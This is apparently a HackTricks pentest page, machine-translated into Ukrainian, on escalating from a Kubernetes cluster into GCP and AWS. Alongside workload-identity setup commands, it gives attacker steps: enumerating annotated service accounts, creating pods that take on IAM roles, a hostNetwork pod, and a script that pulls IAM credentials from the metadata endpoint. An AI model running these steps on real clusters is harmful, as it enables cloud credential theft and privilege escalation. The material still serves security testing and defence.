Kubernetes Pivoting to Clouds

Підтримайте HackTricks

GCP

Якщо ви запускаєте кластер k8s у GCP, ви, ймовірно, захочете, щоб деякі додатки, що працюють у кластері, мали доступ до GCP. Існують 2 загальні способи цього робити:

Підключення ключів GCP-SA як секрету

Звичайний спосіб надання доступу до додатку Kubernetes до GCP полягає в наступному:

  • Створіть обліковий запис служби GCP

  • Прив'яжіть до нього потрібні дозволи

  • Завантажте json-ключ створеного SA

  • Підключіть його як секрет всередині капсули

  • Встановіть змінну середовища GOOGLE_APPLICATION_CREDENTIALS, яка вказує на шлях, де знаходиться json.

Отже, як зловмисник, якщо ви взломали контейнер всередині капсули, вам слід перевірити цю змінну середовища та json-файли з обліковими даними GCP.

Пов'язання json GSA з секретом KSA

Спосіб надання доступу GSA до кластера GKE полягає в їх зв'язуванні таким чином:

  • Створіть обліковий запис служби Kubernetes в тому ж просторі імен, що й ваш кластер GKE за допомогою наступної команди:

Copy codekubectl create serviceaccount <service-account-name>
  • Створіть секрет Kubernetes, який містить облікові дані облікового запису служби GCP, до якого ви хочете надати доступ до кластера GKE. Це можна зробити за допомогою інструменту командного рядка gcloud, як показано в наступному прикладі:

Copy codegcloud iam service-accounts keys create <key-file-name>.json \
--iam-account <gcp-service-account-email>
kubectl create secret generic <secret-name> \
--from-file=key.json=<key-file-name>.json
  • Прив'яжіть секрет Kubernetes до облікового запису служби Kubernetes за допомогою наступної команди:

Copy codekubectl annotate serviceaccount <service-account-name> \
iam.gke.io/gcp-service-account=<gcp-service-account-email>

На другому кроці були встановлені облікові дані GSA як секрет KSA. Тоді, якщо ви можете прочитати цей секрет з середини кластера GKE, ви можете піднятися до цього облікового запису служби GCP.

Ідентифікація робочого навантаження GKE

За допомогою Ідентифікації робочого навантаження ми можемо налаштувати обліковий запис служби Kubernetes для дії як обліковий запис Google. Контейнери, що працюють з обліковим записом служби Kubernetes, автоматично аутентифікуються як обліковий запис Google при доступі до API Google Cloud.

Перша серія кроків для активації цієї поведінки - активація Ідентифікації робочого навантаження в GCP (кроки) та створення GCP SA, який ви хочете, щоб k8s виглядав як.

  • Активувати Ідентифікацію робочого навантаження на новому кластері

gcloud container clusters update <cluster_name> \
--region=us-central1 \
--workload-pool=<project-id>.svc.id.goog
  • Створення/Оновлення нового вузлового пулу (Кластери Autopilot не потребують цього)

# You could update instead of create
gcloud container node-pools create <nodepoolname> --cluster=<cluser_name> --workload-metadata=GKE_METADATA --region=us-central1
  • Створіть Обліковий запис служби GCP для імітації з K8s з дозволами GCP:

# Create SA called "gsa2ksa"
gcloud iam service-accounts create gsa2ksa --project=<project-id>

# Give "roles/iam.securityReviewer" role to the SA
gcloud projects add-iam-policy-binding <project-id> \
--member "serviceAccount:gsa2ksa@<project-id>.iam.gserviceaccount.com" \
--role "roles/iam.securityReviewer"
  • Підключіться до кластеру та створіть обліковий запис служби, який буде використовуватися

# Get k8s creds
gcloud container clusters get-credentials <cluster_name> --region=us-central1

# Generate our testing namespace
kubectl create namespace testing

# Create the KSA
kubectl create serviceaccount ksa2gcp -n testing
  • Прив'яжіть GSA до KSA

# Allow the KSA to access the GSA in GCP IAM
gcloud iam service-accounts add-iam-policy-binding gsa2ksa@<project-id.iam.gserviceaccount.com \
--role roles/iam.workloadIdentityUser \
--member "serviceAccount:<project-id>.svc.id.goog[<namespace>/ksa2gcp]"

# Indicate to K8s that the SA is able to impersonate the GSA
kubectl annotate serviceaccount ksa2gcp \
--namespace testing \
iam.gke.io/gcp-service-account=gsa2ksa@security-devbox.iam.gserviceaccount.com
  • Запустіть підсистему з KSA та перевірте доступ до GSA:

# If using Autopilot remove the nodeSelector stuff!
echo "apiVersion: v1
kind: Pod
metadata:
name: workload-identity-test
namespace: <namespace>
spec:
containers:
- image: google/cloud-sdk:slim
name: workload-identity-test
command: ['sleep','infinity']
serviceAccountName: ksa2gcp
nodeSelector:
iam.gke.io/gke-metadata-server-enabled: 'true'" | kubectl apply -f-

# Get inside the pod
kubectl exec -it workload-identity-test \
--namespace testing \
-- /bin/bash

# Check you can access the GSA from insie the pod with
curl -H "Metadata-Flavor: Google" http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/email
gcloud auth list

Перевірте наступну команду для аутентифікації у разі потреби:

gcloud auth activate-service-account --key-file=/var/run/secrets/google/service-account/key.json

Як зловмиснику всередині K8s вам слід шукати SAs з анотацією iam.gke.io/gcp-service-account, оскільки це вказує на те, що SA може отримати доступ до чогось у GCP. Ще одним варіантом буде спробувати зловживати кожним KSA в кластері та перевірити, чи є у нього доступ. З GCP завжди цікаво перелічити зв'язки та знати, який доступ ви надаєте SAs всередині Kubernetes.

Це сценарій для легкої ітерації по всіх визначеннях кількість подів, щоб знайти цю анотацію:

for ns in `kubectl get namespaces -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
for pod in `kubectl get pods -n "$ns" -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
echo "Pod: $ns/$pod"
kubectl get pod "$pod" -n "$ns" -o yaml | grep "gcp-service-account"
echo ""
echo ""
done
done | grep -B 1 "gcp-service-account"

AWS

Kiam & Kube2IAM (IAM роль для Pods)

Один (застарілий) спосіб надання IAM-ролей для Pods - використання Kiam або Kube2IAM сервера. Основна ідея полягає в тому, що вам потрібно запустити daemonset у вашому кластері з певною привілейованою IAM-роллю. Цей daemonset буде надавати доступ до IAM-ролей для pods, які його потребують.

Спочатку вам потрібно налаштувати які ролі можуть бути доступні всередині простору імен, і ви це робите за допомогою анотації всередині об'єкта простору імен:

Kiam
kind: Namespace
metadata:
name: iam-example
annotations:
iam.amazonaws.com/permitted: ".*"
Kube2iam
apiVersion: v1
kind: Namespace
metadata:
annotations:
iam.amazonaws.com/allowed-roles: |
["role-arn"]
name: default

Після того як простір імен налаштований з ролями IAM, які можуть мати ваші Поди, ви можете вказати роль, яку ви хочете на кожному визначенні пода за допомогою чогось на зразок:

Kiam & Kube2iam
kind: Pod
metadata:
name: foo
namespace: external-id-example
annotations:
iam.amazonaws.com/role: reportingdb-reader

Як зловмисник, якщо ви знайдете ці анотації в капсулах або просторах імен або запущений сервер kiam/kube2iam (імовірно, в kube-system), ви можете підробити кожну роль, яка вже використовується капсулами та більше (якщо у вас є доступ до облікового запису AWS, перелічте ролі).

Створення капсули з роллю IAM

Роль IAM, яку слід вказати, повинна бути в тому ж обліковому записі AWS, що й роль kiam/kube2iam, і ця роль повинна мати до неї доступ.

echo 'apiVersion: v1
kind: Pod
metadata:
annotations:
iam.amazonaws.com/role: transaction-metadata
name: alpine
namespace: eevee
spec:
containers:
- name: alpine
image: alpine
command: ["/bin/sh"]
args: ["-c", "sleep 100000"]' | kubectl apply -f -

IAM Роль для облікових записів служб K8s через OIDC

Це рекомендований спосіб від AWS.

  1. Потім створіть IAM роль з необхідними дозволами для облікового запису служби (SA).

  2. Створіть довіру між IAM роллю та SA ім'я (або простори імен, які надають доступ до ролі всім SA простору імен). Довіра буде перевіряти назву постачальника OIDC, назву простору імен та назву SA.

  3. Нарешті, створіть SA з анотацією, що вказує ARN ролі, і кількість запущених з цим SA підсистем матиме доступ до токену ролі. Токен записаний у файл, а шлях вказаний у AWS_WEB_IDENTITY_TOKEN_FILE (за замовчуванням: /var/run/secrets/eks.amazonaws.com/serviceaccount/token)

# Create a service account with a role
cat >my-service-account.yaml <<EOF
apiVersion: v1
kind: ServiceAccount
metadata:
name: my-service-account
namespace: default
annotations:
eks.amazonaws.com/role-arn: arn:aws:iam::318142138553:role/EKSOIDCTesting
EOF
kubectl apply -f my-service-account.yaml

# Add a role to an existent service account
kubectl annotate serviceaccount -n $namespace $service_account eks.amazonaws.com/role-arn=arn:aws:iam::$account_id:role/my-role

Для отримання aws за допомогою токена з /var/run/secrets/eks.amazonaws.com/serviceaccount/token виконайте:

aws sts assume-role-with-web-identity --role-arn arn:aws:iam::123456789098:role/EKSOIDCTesting --role-session-name something --web-identity-token file:///var/run/secrets/eks.amazonaws.com/serviceaccount/token

Як зловмисник, якщо ви можете перелічити кластер K8s, перевірте облікові записи служб з цією анотацією, щоб піднятися на AWS. Для цього просто виконайте/створіть pod, використовуючи один з облікових записів служб IAM з підвищеними привілеями та вкрадіть токен.

Крім того, якщо ви знаходитесь всередині pod, перевірте змінні середовища, такі як AWS_ROLE_ARN та AWS_WEB_IDENTITY_TOKEN.

Іноді політика довіри ролі може бути погано налаштована і замість надання доступу AssumeRole очікуваному обліковому запису служби, вона надає його всім обліковим записам служб. Тому, якщо ви здатні додати анотацію до керованого облікового запису служби, ви можете отримати доступ до ролі.

Перевірте наступну сторінку для отримання додаткової інформації:

AWS - Federation Abuse

Знайдіть Pods та SAs з IAM-ролями в кластері

Це сценарій для простого перегляду всіх pod та визначень sas, шукаючи цю анотацію:

for ns in `kubectl get namespaces -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
for pod in `kubectl get pods -n "$ns" -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
echo "Pod: $ns/$pod"
kubectl get pod "$pod" -n "$ns" -o yaml | grep "amazonaws.com"
echo ""
echo ""
done
for sa in `kubectl get serviceaccounts -n "$ns" -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
echo "SA: $ns/$sa"
kubectl get serviceaccount "$sa" -n "$ns" -o yaml | grep "amazonaws.com"
echo ""
echo ""
done
done | grep -B 1 "amazonaws.com"

Роль IAM вузла

Попередній розділ був присвячений тому, як вкрасти ролі IAM за допомогою підсистем, але слід зауважити, що Вузол кластера K8s буде екземпляром всередині хмари. Це означає, що ймовірність того, що у вузла буде нова роль IAM, яку можна вкрасти, дуже висока (зауважте, що зазвичай всі вузли кластера K8s матимуть однакову роль IAM, тому, можливо, не варто перевіряти кожен вузол).

Однак є важлива вимога для доступу до кінцевої точки метаданих з вузла: вам потрібно бути на вузлі (сеанс ssh?) або принаймні мати ту саму мережу:

kubectl run NodeIAMStealer --restart=Never -ti --rm --image lol --overrides '{"spec":{"hostNetwork": true, "containers":[{"name":"1","image":"alpine","stdin": true,"tty":true,"imagePullPolicy":"IfNotPresent"}]}}'

Вкрасти токен ролі IAM

Раніше ми обговорювали, як прикріплювати ролі IAM до капсул або навіть як вибратися на вузол, щоб вкрасти роль IAM, яку має прикріплену до себе екземпляр.

Ви можете використати наступний скрипт, щоб вкрасти ваші нові, важко здобуті підтвердження ролі IAM:

IAM_ROLE_NAME=$(curl http://169.254.169.254/latest/meta-data/iam/security-credentials/ 2>/dev/null || wget  http://169.254.169.254/latest/meta-data/iam/security-credentials/ -O - 2>/dev/null)
if [ "$IAM_ROLE_NAME" ]; then
echo "IAM Role discovered: $IAM_ROLE_NAME"
if ! echo "$IAM_ROLE_NAME" | grep -q "empty role"; then
echo "Credentials:"
curl "http://169.254.169.254/latest/meta-data/iam/security-credentials/$IAM_ROLE_NAME" 2>/dev/null || wget "http://169.254.169.254/latest/meta-data/iam/security-credentials/$IAM_ROLE_NAME" -O - 2>/dev/null
fi
fi

Посилання

Підтримайте HackTricks

Last updated